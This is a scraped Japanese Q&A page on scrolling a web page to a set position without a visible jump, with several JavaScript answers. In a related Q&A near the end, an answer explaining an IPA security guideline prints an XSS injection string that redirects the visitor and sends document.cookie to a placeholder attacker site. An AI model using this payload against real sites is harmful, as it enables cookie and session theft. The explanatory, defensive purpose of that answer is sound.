画面の表示位置を指定させて表示させたいのですが、カクカクさせずに表示さ

解決済

  • 質問者：re999
  • 質問日時：2010/10/18 18:54
  • 回答数：6件

画面の表示位置を指定させて表示させたいのですが、カクカクさせずに表示させるにはどうしたらよいでしょうか？

下記書き方だと一度普通に表示されて、それから移動するみたいで、
一瞬、画面がカクカクしてしまいます。

初めから、移動させた状態で画面を表示させるには、どうしたらよいでしょうか？

<body onload="init();">
<script type="text/javascript">
function init(){
window.scrollTo("0","200");
}
</script>

通報する

この質問への回答は締め切られました。

質問の本文を隠す

このQ&Aに関連する最新のQ&A

「せ」に関するQ&A： セとパの差はなくせるか?

さらに表示

「スクリプト 書き方」に関するQ&A： シェルスクリプトの書き方

「JavaScript 書き方」に関するQ&A： JavaScript 保守性の高いコードの書き方

A 回答 (6件)

No.6ベストアンサー

  • 回答者： tracer
  • 回答日時：2010/10/20 05:24

> なるべくスクロールさせたくない


ANo.3で回答したとおり、一度普通に表示されてから移動するのは正常な動作ですので、この仕様を変更することはできません。


> 予め画像を読み込む処理
画像プリロードによってやりたかったのは、あらかじめ画像サイズを取得することではないのですか？そう、解釈してANo.5は回答しました。


> スクロールしかない場合は、なるべく目立たないようにしたい
1.bodyの高さをあらかじめ適当なもの(長め)に設定する。
2.該当座標に移動する。
3.onLoad処理で、bodyの高さを本来のものにする。

<body onload="init();">
<script type="text/javascript">
document.body.style.height="2000px";
window.scrollTo("0","200");
function init(){
document.body.style.height="auto";
}
</script>

カクカクというのが分からなかったのでいろいろ書きましたが、ひとまず、このようにすれば、htmlレンダリング前に座標は移動できると思います。(JSをbodyの直前か先頭に書くことが前提)もしくは、jQueryのready()で指定すれば、こんな小細工はいらなかったような気がしますが、jQueryは本題ではないので割愛します。
    • good
    • 0
    • 件
通報する
この回答へのお礼

貴重な時間を割いて、お付き合いいただき、ありがとうございました。
大変参考になりました！

通報する
お礼日時：2010/10/21 20:10

No.5

  • 回答者： tracer
  • 回答日時：2010/10/19 22:36

ページが表示されるまでに行われるのは、html&CSSレンダリング → javascript onLoad → 画像ロードの順です。



ページ内に使用しているimgタグには、height属性は指定されていますか？
この属性を指定しないと、画像が完全に読み込まれるまで画像サイズを取得できません。その結果、ページ内すべての画像が完全に読み込まれるまでページ長は決定されません。つまり、onLoadの時点ではまだページ長が決定されていないと思われます。

すべての画像にheight属性を設定すれば、画像のロード前(htmlレンダリング時)にページ長は決定されるので、もしかしたら、カクカクがなくなるかもしれません。

この回答への補足

＞すべての画像にheight属性を設定すれば、画像のロード前(htmlレンダリング時)にページ長は決定されるので、もしかしたら、カクカクがなくなるかもしれません。
ありがとうございます。参考にさせていただきます。


……すいません、今更言いづらいのですが、
質問の仕方が大変マズかったようです。

知りたかったのは、
ページ内リンクを使わずに、予め指定した画面の表示位置を(スクロールさせずに)表示させるためには、どうしたらよいか、ということなんです。

画像のプリロードって書いたのは、
javascriptだと、予め画像を読み込む処理ができるのかな？と思い、
だったら、予め、スクロール位置を指定する何かの処理がもしかしたらできるかな？ という意味で、質問しただけです。

やりたいことを整理すると、
１．予め指定した位置で表示させたい
２．なるべくスクロールさせたくない(←これ言ってなかったです、すいません)
３．スクロールしかない場合は、なるべく目立たないようにしたい

１．２．が、難しいようなら、fujillinさんに教えてもらった、
スクロールさせるが、最初はhiddenにするやり方でいきたいと思います。

補足日時：2010/10/20 00:24
通報する
    • good
    • 0
    • 件
通報する

No.4

  • 回答者： fujillin
  • 回答日時：2010/10/19 21:45

No2です。



＞画面の位置が一旦普通に表示された後移動することを、カクカクと表現しました。
画像のロードに時間がかかるのが、タイムラグの原因と創造されます。

連続的でないためにカクカク感じられるのであれば、いっそのこと、スクロールの動作を連続的にしてあげればカクカクには感じないかも。
とはいうものの、最終表示まではもっと時間がかかることになってしまいますが。


onloadに設定しているためにタイムラグが生じると考えられるので、画像サイズを指定しておいて、bodyの終了タグの前にスクリプトをおいてあげれば画像の読込み前に移動できるかも・・・（未検証です）

この回答への補足

すいません、質問の仕方が大変マズかったようです。
画像のプリロードとか書いた意味がコトバ足らずでした。

補足日時：2010/10/20 00:21
通報する
    • good
    • 0
    • 件
通報する

No.3

  • 回答者： tracer
  • 回答日時：2010/10/19 14:25

回答にはなっていませんが、参考までに。




>> 一度普通に表示されて、それから移動する
これは正常な動作です。ただし、使用するPC、あるいはブラウザによってかなりの体感差があるはずです。

>> 一瞬、画面がカクカクしてしまいます。
それはなぜでしょうか。こちらでカクカクする原因を推測するには情報がちょっと足らないので、たとえば問題を確認したページを公開するとか、ブラウザによる差異はあるか、とか質問者さんのもっている情報がもう少し必要です。


>> 移動を終えるまでページを非表示にする。
カクカクさえ消えればいいのであれば、これはひとつの方法かもしれませんね。
ただ、必然的にページ全体表示が遅延するので、機能のトレードオフとも言えます。

この回答への補足

再度の回答ありがとうございます。

＞これは正常な動作です。ただし、使用するPC、あるいはブラウザによってかなりの体感差があるはずです。
質問の主旨が分かりづらくて大変恐縮なのですが、これをなんとかしたい、あるいはムリならできるだけ目立たせないようにしたい、というのが今回の質問の主旨でした…。

＞こちらでカクカクする原因を推測するには情報がちょっと足らないので、
画面の位置が一旦普通に表示された後移動することを、カクカクと表現しました。
わかりずらい例えで、すみません…。

＞ただ、必然的にページ全体表示が遅延するので、機能のトレードオフとも言えます。
確かに、一瞬表示が遅れるのが気になるといえば気になります。
なんか他によい方法、ご存知でしたら、アドバイスお願いします。
ちなみに、質問した時点では、画像のプリロード機能とかいうのを聞いたことがあって、それがどんなものがよく分かっていないのですが、何かそんなのを使えばなんかなるんじゃないかと思ってたのですが…。

補足日時：2010/10/19 21:20
通報する
    • good
    • 0
    • 件
通報する

No.2

  • 回答者： fujillin
  • 回答日時：2010/10/19 12:14

「カクカク」の状態を再現できないので、検証できていませんが…


最初に表示させないようにしておいてはいかがでしょうか？


<body onload="init()">
<script type="text/javascript">
<!--
document.body.style.visibility = "hidden";
function init(){
window.scrollTo("0","200");
document.body.style.visibility = "visible";
}
//-->
</script>

この回答への補足

回答ありがとうございました。

＞「カクカク」の状態を再現できないので
画面の位置が一旦普通に表示された後移動することを、カクカクと表現しました。
わかりずらい例えで、すみません…。

一瞬表示が遅れること以外は、ほぼイメージ通りです。
他に回答がなければ、これでいこうと思います。
ありがとうございました。

補足日時：2010/10/19 21:13
通報する
    • good
    • 0
    • 件
通報する

No.1

  • 回答者： tracer
  • 回答日時：2010/10/18 23:22

JavaScriptは使用せず、ページ内リンクを使用してはどうでしょうか。


最初に表示させたい位置にある要素にIDをつけて、URLで指定するだけです。
対象ファイルをindex.htmlとして例にしてみます。

<body>
<div id="header" name="header">
header
</div>
<div id="content" name="content">
この位置を表示します。
</div>
<div id="footer" name="footer">
footer
</div>
</body>

URLをindex.html#contetに指定してアクセスすると、id=contentの要素が先頭に表示されます。name属性はなくても動作しますが、ない場合はhtmlのバージョンによって文法エラーとなります。

この回答への補足

回答ありがとうございます。

質問では省略したのですが、実は、用途としては、動的に生成させているサイト上で、画面遷移しても、そのスクロール位置を変化させない処理の一環として、用いたいのです。

そのため、できれば、ページ内リンク以外の方法でどう書けばよいか、教えていただけないでしょうか？


ページ内リンクだと、こちらで指定した位置でしか使えないですが、想定としては、ユーザーが任意の位置で画面遷移しても、そのスクロール位置を変化させないようにしたいのです。

例として、200としていますが、実際は、そこには、ユーザーがアクションを起こした時点のスクロール位置を記録して、そこへ移動させることを想定しています。

説明不足で恐縮ですが、どなたかカクカクする動作について、アドバイスよろしくお願いします。

補足日時：2010/10/19 00:42
通報する
    • good
    • 0
    • 件
通報する

このQ&Aに関連する人気のQ&A

「せ」に関するQ&A： 七田チャイルドアカデミーにお子さんを通わせた事のある方に質問です。

さらに表示

「スクリプト 書き方」に関するQ&A： IEで「信頼済みのサイト」にローカルファイルを指定する方法

「JavaScript 書き方」に関するQ&A： テキストフィールドへの入力を禁止するには？

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう！

Q質問する（無料）

このQ&Aを見た人はこんなQ&Aも見ています

関連するQ&A

関連するカテゴリからQ&Aを探す

専門家回答数ランキング

専門家

※過去一週間分の回答数ランキングです。

Q質問する（無料）

他の専門家の回答をチェック

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q「を 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/　の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を～行目の<script>～</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://～/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/　の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を～行目の<script>～</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ＆カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です（ただし「--」だけは駄目です）。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです（HTML5 に明記されています）。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ＆カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

他の回答も見る

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると　どう？
ダメなら [\s\S]* とか使う事になると思うけど・・・

他の回答も見る

Q 要素の内

▽安全なウェブサイトの作り方
　 http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

＞<script>...</script> 要素の内容を動的に生成しない
＞ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか？
・またここで書いている内容は、下記何れを指しているのでしょうか？
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

他の回答も見る

Q と window.onload

JavaScriptのonload処理についての質問です。

現在Java、JSP、JavaScript等でWebアプリケーションを作成しているのですが、
bodyタグ中のonloadに記載したファンクションが時々呼ばれないという問題が起きています。
（こんな感じで記述
　<body onload="hoge();hogehoge();">
　hogehoge()がたまに呼ばれないことがある・・・）

これを回避する方法として、「onload処理をwindow.onloadに記述すれば良い」
という話を聞きました。
（こんな感じで記述
　<script>
　　　window.onload = function(){ hoge();hogehoge(); }
　</script>
）

「bodyタグ中に記述するとたまに呼ばれないものが、window.onloadに記述すると確実に呼ばれる」
なんてことがあるのでしょうか？
「２つめのファンクションが呼ばれない」という現象がたまにしか発生しないので、
window.onloadに記述する方法で確実に呼ばれるようになったという保証がとれません。
知識として知っている方がいれば是非教えていただきたいです。
よろしくお願い致します。

※ブラウザはIEを使用
　バージョンは　IE → 6.0
　　　　 JavaScript → 1.1　です。
　

JavaScriptのonload処理についての質問です。

現在Java、JSP、JavaScript等でWebアプリケーションを作成しているのですが、
bodyタグ中のonloadに記載したファンクションが時々呼ばれないという問題が起きています。
（こんな感じで記述
　<body onload="hoge();hogehoge();">
　hogehoge()がたまに呼ばれないことがある・・・）

これを回避する方法として、「onload処理をwindow.onloadに記述すれば良い」
という話を聞きました。
（こんな感じで記述
　<script>
　　　window.onload = function(...続きを読む

Aベストアンサー

＞<body onload="hoge();hogehoge();">
hoge()に処理を中断するような内容が書かれている可能性もあります。
そうなると、なにをやってもhogehoge()は実行されません。

また、タグにメソッドを書き込むのはHTMLとJavascriptの分離という
視点でもあまりスマートではありません。
意識してwindow.onloadを使った方がきれいなソースになります

他の回答も見る

Q <html>
<body>

<a href="javascript:window.open('about:blank','_self').close();">この画面を閉じる</a>
</body>
</html>

「この画面を閉じる」のアンカータグを押した時に、確認ダイアログを表示するようにしたいのですが、やり方が分かりません。
確認ダイアログはリンクを押した時に、「この画面を閉じますか？」 はい、いいえ のリンクが出るように出来ないでしょうか？
どうぞ宜しくお願いします。

Aベストアンサー

命題の方法ではすべてのブラウザで実行されるわけではありませんが大丈夫ですね？
そのうえでこんな感じ

<html>
<body>
<a href="#" onclick="if(confirm('この画面を閉じますか？')){window.open('about:blank','_self').close();}">この画面を閉じる</a>
</body>
</html>

他の回答も見る
ページトップページトップ

Q質問する（無料）

このQ&Aを見た人がよく見るQ&A

人気Q&Aランキング

おすすめ情報